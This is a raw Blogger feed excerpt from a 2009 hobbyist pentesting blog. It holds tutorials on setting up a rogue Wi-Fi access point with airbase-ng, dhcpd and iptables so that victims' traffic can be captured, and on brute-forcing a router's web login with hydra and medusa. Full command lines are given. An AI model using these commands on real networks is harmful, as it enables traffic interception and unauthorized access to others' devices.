;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/ARCHPR1.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/ARCHPR1.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/ARCHPR2.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/ARCHPR2.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/ARCHPR4.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/ARCHPR4.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;Dictionary attack ;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/ARCHPR5.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/ARCHPR5.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8356530514965708840-4359904169384412648?l=adaywithtape.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://adaywithtape.blogspot.com/feeds/4359904169384412648/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://adaywithtape.blogspot.com/2009/11/cracking-password-protected-archive.html#comment-form' title='8 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8356530514965708840/posts/default/4359904169384412648'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8356530514965708840/posts/default/4359904169384412648'/><link rel='alternate' type='text/html' href='http://adaywithtape.blogspot.com/2009/11/cracking-password-protected-archive.html' title='Cracking password protected archive files with rarcrack'/><author><name>TAPE</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://3.bp.blogspot.com/_vtirOlMBs5Y/S6kOuRDa9SI/AAAAAAAAABU/wlZOFGWKug8/S220/avatar.jpg'/></author><thr:total>8</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8356530514965708840.post-3150520734633099680</id><published>2009-10-30T14:59:00.005+01:00</published><updated>2009-10-31T10:03:21.600+01:00</updated><title type='text'>Fake AP using airbase-ng</title><content type='html'>Here we will have a look at creating a fake AP and passing internet traffic through our fake ap.&lt;br /&gt;&lt;br /&gt;I had a lot of trouble with this and only really was able to complete it with the help of &lt;a href="http://forums.remote-exploit.org/newbie-area/28101-dhcp3-issue-airbase-ng.html"&gt;Gitsnik &amp;amp; Nick The Greek on the Remote Exploit forums&lt;/a&gt;.. awesome help there guys ;)&lt;br /&gt;&lt;br /&gt;The steps involved are basically ;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Configure dhcpd.conf&lt;/li&gt;&lt;li&gt;Start the fake ap with airbase-ng&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Configure IP tables to pass through to host internet&lt;/li&gt;&lt;li&gt;Capture / Monitor network traffic with tool of choice&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;In this case my test setup is as follows ;&lt;br /&gt;&lt;br /&gt;&amp;gt; Using back|track4 pre final&lt;br /&gt;&amp;gt; Using WiFi dongle to create a connection to internet on wlan1 (through gateway 192.168.1.1)&lt;br /&gt;&amp;gt; Using my netbook wireless card (Atheros) to create the fake ap&lt;br /&gt;&lt;br /&gt;First to create/configure the dhcpd.conf file for later use ;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: lime;"&gt;nano /etc/dhcp3/dhcpd.conf&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: yellow;"&gt;ddns-update-style ad-hoc;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: yellow;"&gt;default-lease-time 600;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: yellow;"&gt;max-lease-time 7200;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: yellow;"&gt;subnet 192.168.2.128 netmask 255.255.255.128 {&lt;/span&gt;&lt;br /&gt;&lt;span style="color: yellow;"&gt;option subnet-mask 255.255.255.128;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: yellow;"&gt;option broadcast-address 192.168.2.255;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: yellow;"&gt;option routers 192.168.2.129;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: yellow;"&gt;option domain-name-servers 4.2.2.2;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: yellow;"&gt;range 192.168.2.130 192.168.2.140;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: yellow;"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Ctrl X --&amp;gt; y --&amp;gt; Enter&amp;nbsp; to save the file.&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/dhcpd-conf.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/dhcpd-conf.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Then to start the fake ap with airbase, the interface needs to be in monitor mode ;&lt;br /&gt;&lt;br /&gt;&lt;div style="color: lime;"&gt;airmon-ng&lt;br /&gt;&lt;/div&gt;&lt;div style="color: lime;"&gt;airmon-ng start wlan0&lt;br /&gt;&lt;/div&gt;&lt;span style="color: lime;"&gt;airbase-ng -e "TEST_AP" -c 9 mon0&lt;/span&gt;&lt;br /&gt;This will create a simple tap interface, on at0, with no encryption, on channel 9 and with the essid TEST_AP.&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/airmon1.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/airmon1.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/airmon2.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/airmon2.jpg" /&gt;&lt;/a&gt; &lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/airbase1.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/airbase1.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;In this case I already had an internet connection up and running on wlan1, hence the warning messages, however this was of no further consequence.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Then bring the interface up and assign subnet and gateway;&lt;br /&gt;&lt;div style="color: lime;"&gt;ifconfig at0 up&lt;br /&gt;&lt;/div&gt;&lt;div style="color: lime;"&gt;ifconfig at0 192.168.2.129 netmask 255.255.255.128&lt;br /&gt;&lt;/div&gt;&lt;div style="color: lime;"&gt;route add -net 192.168.2.128 netmask 255.255.255.128 gw 192.168.2.129&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;Then start DHCP, I was getting errors on the dhcpd settings, this is where the help came in :)&lt;br /&gt;&lt;br /&gt;Needed to give further privilages to the dhcpd.&lt;br /&gt;&lt;div style="color: lime;"&gt;mkdir -p /var/run/dhcpd &amp;amp;&amp;amp; chown dhcpd:dhcpd /var/run/dhcpd&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;Then to point the command to the alternative dhcpd.conf file and the alternative .pid file&lt;br /&gt;&lt;div style="color: lime;"&gt;dhcpd3 -cf /etc/dhcp3/dhcpd.conf -pf /var/run/dhcpd/dhcpd.pid at0&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/ifconfig-dhcp.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/ifconfig-dhcp.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Then to setup the iptables to route the traffic through the tap interface to the internet connection (internet connection being the one wlan1 is connected to over my 192.168.1.1 gateway). &lt;br /&gt;&lt;br /&gt;&lt;span style="color: lime;"&gt;iptables --flush&lt;/span&gt;&lt;br /&gt;&lt;span style="color: lime;"&gt;iptables --table nat --flush&lt;/span&gt;&lt;br /&gt;&lt;span style="color: lime;"&gt;iptables --delete-chain&lt;/span&gt;&lt;br /&gt;&lt;span style="color: lime;"&gt;iptables --table nat --delete-chain&lt;/span&gt;&lt;br /&gt;&lt;span style="color: lime;"&gt;echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;/span&gt;&lt;br /&gt;&lt;span style="color: lime;"&gt;iptables --table nat --append POSTROUTING --out-interface wlan1 -j MASQUERADE&lt;/span&gt;&lt;br /&gt;&lt;span style="color: lime;"&gt;iptables --append FORWARD --in-interface at0 -j ACCEPT&lt;/span&gt;&lt;br /&gt;&lt;span style="color: lime;"&gt;iptables -t nat -A PREROUTING -p udp --dport 53 -j DNAT --to 192.168.1.1&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/iptables.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/iptables.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Now basically you have a fake ap which people can connect to and browse the internet.. all through your connection.&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/connection-1.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/connection-1.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/connection1-1.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/connection1-1.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp; &lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/ipconfig_fake_ap.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/ipconfig_fake_ap.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Obviously this can be abused in any number of ways, all traffic can be captured and analyzed;&lt;br /&gt;dsniff could be run on it together with urlsnarf, driftnet etc., sessions could be hijacked in real time..&lt;br /&gt;&lt;br /&gt;So goes to show that you should be wary of free access points..&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8356530514965708840-3150520734633099680?l=adaywithtape.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://adaywithtape.blogspot.com/feeds/3150520734633099680/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://adaywithtape.blogspot.com/2009/10/fake-ap-using-airbase-ng.html#comment-form' title='10 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8356530514965708840/posts/default/3150520734633099680'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8356530514965708840/posts/default/3150520734633099680'/><link rel='alternate' type='text/html' href='http://adaywithtape.blogspot.com/2009/10/fake-ap-using-airbase-ng.html' title='Fake AP using airbase-ng'/><author><name>TAPE</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://3.bp.blogspot.com/_vtirOlMBs5Y/S6kOuRDa9SI/AAAAAAAAABU/wlZOFGWKug8/S220/avatar.jpg'/></author><thr:total>10</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8356530514965708840.post-3716471643631067091</id><published>2009-10-14T10:42:00.004+02:00</published><updated>2009-10-25T10:36:19.071+01:00</updated><title type='text'>Using Hydra or Medusa to gain access to network router</title><content type='html'>After obtaining a connection to the network and having an IP address, besides trying to acccess the hosts on the network, the actual router can also be targetted.&lt;br /&gt;&lt;br /&gt;This could be done by would be attackers to for instance attempt to delete any logs on the router which may have logged their intrusion to the network.&lt;br /&gt;Or to simply reboot the router which mostly has the same effect. &lt;br /&gt;&lt;br /&gt;On Windows based systems, this could be done using either Bruter or Brutus.&lt;br /&gt;&lt;br /&gt;Using trusty ol' back|track, the preference goes to either medusa or hydra.&lt;br /&gt;&lt;br /&gt;For the sake of this test, a simple test setup as follows ;&lt;br /&gt;&amp;gt; Open network&lt;br /&gt;&amp;gt; DHCP enabled&lt;br /&gt;&lt;br /&gt;Basically the steps involved are as follows ;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Identify network&lt;/li&gt;&lt;li&gt;Gain access to network&amp;nbsp;&lt;/li&gt;&lt;li&gt;Obtain IP address&lt;/li&gt;&lt;li&gt;Check gateway IP&lt;/li&gt;&lt;li&gt;Check path the router setup page is using&lt;/li&gt;&lt;li&gt;Start Hydra / Medusa using wordlists for both login and password if login is not known.&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div style="color: lime;"&gt;&lt;br /&gt;airmon-ng&lt;br /&gt;&lt;/div&gt;&lt;div style="color: lime;"&gt;airmon-ng start wlan0&lt;br /&gt;&lt;/div&gt;&lt;div style="color: lime;"&gt;airodump-ng mon0 -t opn&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/airmon.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/airmon.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="color: lime;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/airodump-1.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/airodump-1.jpg" /&gt;&lt;/a&gt; &lt;br /&gt;&lt;/div&gt;&lt;div style="color: lime;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="color: lime;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="color: lime;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="color: lime;"&gt;ifconfig wlan0 down&lt;br /&gt;&lt;/div&gt;&lt;div style="color: lime;"&gt;iwconfig wlan0 essid default channel 1&lt;br /&gt;&lt;/div&gt;&lt;div style="color: lime;"&gt;iwconfig ap 00:13:D4:09:32:60&lt;br /&gt;&lt;/div&gt;&lt;div style="color: lime;"&gt;ifconfig wlan0 up&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/iwconfig.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/iwconfig.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Check connection &lt;br /&gt;&lt;div style="color: lime;"&gt;iwconfig wlan0&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/iwconfig1.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/iwconfig1.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Obtain IP address and check gateway&lt;br /&gt;&lt;div style="color: lime;"&gt;dhclient wlan0&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/dhclient.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/dhclient.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Open upthe default gateway in your browser&lt;br /&gt;&lt;br /&gt;Of course, before starting cracking away, it is always worth while to check the standard login / passwords first !&lt;br /&gt;&lt;a href="http://www.phenoelit-us.org/dpl/dpl.html"&gt;http://www.phenoelit-us.org/dpl/dpl.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/snapshot10.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/snapshot10.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/snapshot11.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/snapshot11.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;If no luck, then you have to revert to using wordlists, I have made a couple of small ones to try this out.&lt;br /&gt;&lt;br /&gt;Starting Hydra to crack the router login / password.&lt;br /&gt;&lt;span style="color: lime;"&gt;-L&lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; specifiying the path to login list&lt;br /&gt;&lt;span style="color: lime;"&gt;-P&lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; specifying the path to password list&lt;br /&gt;&lt;span style="color: lime;"&gt;-t&lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; limiting the number of connections&lt;br /&gt;&lt;span style="color: lime;"&gt;-e ns&lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; to check for no password and to check login as password&lt;br /&gt;&lt;span style="color: lime;"&gt;-f&lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; to stop when first login/password is found&lt;br /&gt;&lt;span style="color: lime;"&gt;-V&lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; to show each login/password attempt&lt;br /&gt;&lt;span style="color: lime;"&gt;http-get&lt;/span&gt;&amp;nbsp; to specify the protocol to use&lt;br /&gt;&lt;span style="color: lime;"&gt;/index.asp&lt;/span&gt; to point to the webpage it is heading to&lt;br /&gt;&lt;br /&gt;&lt;div style="color: lime;"&gt;hydra 192.168.1.1 -L /wordlists/login.txt -P /wordlists/ap_password.txt -t 1 -e ns -f -V http-get /index.asp&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/hydra1.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/hydra1.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/hydra2.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/hydra2.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;For Medusa, the syntax is slightly different and took me a while to figure out what was necessary to avoid getting false positives, however the below worked for me ;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: lime;"&gt;-h&lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; to specify the host&lt;br /&gt;&lt;span style="color: lime;"&gt;-U&lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; to specify path to the login wordlist&lt;br /&gt;&lt;span style="color: lime;"&gt;-P&lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; to specify path to password wordlist&lt;br /&gt;&lt;span style="color: lime;"&gt;-t&lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; to limit the number of connections&lt;br /&gt;&lt;span style="color: lime;"&gt;-f&lt;/span&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; to stop the test on finding a valid login/password&lt;br /&gt;&lt;span style="color: lime;"&gt;-v&lt;/span&gt; &amp;nbsp; &amp;nbsp; for a more verbose output&lt;br /&gt;&lt;span style="color: lime;"&gt;-M&lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; to specify the module to use&lt;br /&gt;&lt;span style="color: lime;"&gt;-m&lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; to specify the options for the module in use&lt;br /&gt;&lt;br /&gt;&lt;div style="color: lime;"&gt;medusa -h 192.168.1.1 -U /wordlists/login.txt -P /wordlists/ap_password.txt -t 1 -e ns -f -v 5 -M http -m DIR:GET/index.asp&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/medusa1.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/medusa1.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/medusa2.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/medusa2.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Now when trying the found login / password, success !&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/snapshot13.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/snapshot13.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Hydra homepage - &lt;a href="http://www.thc.org/"&gt;http://www.thc.org&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Medusa homepage - &lt;a href="http://www.foofus.net/"&gt;http://www.foofus.net&lt;/a&gt;&lt;br 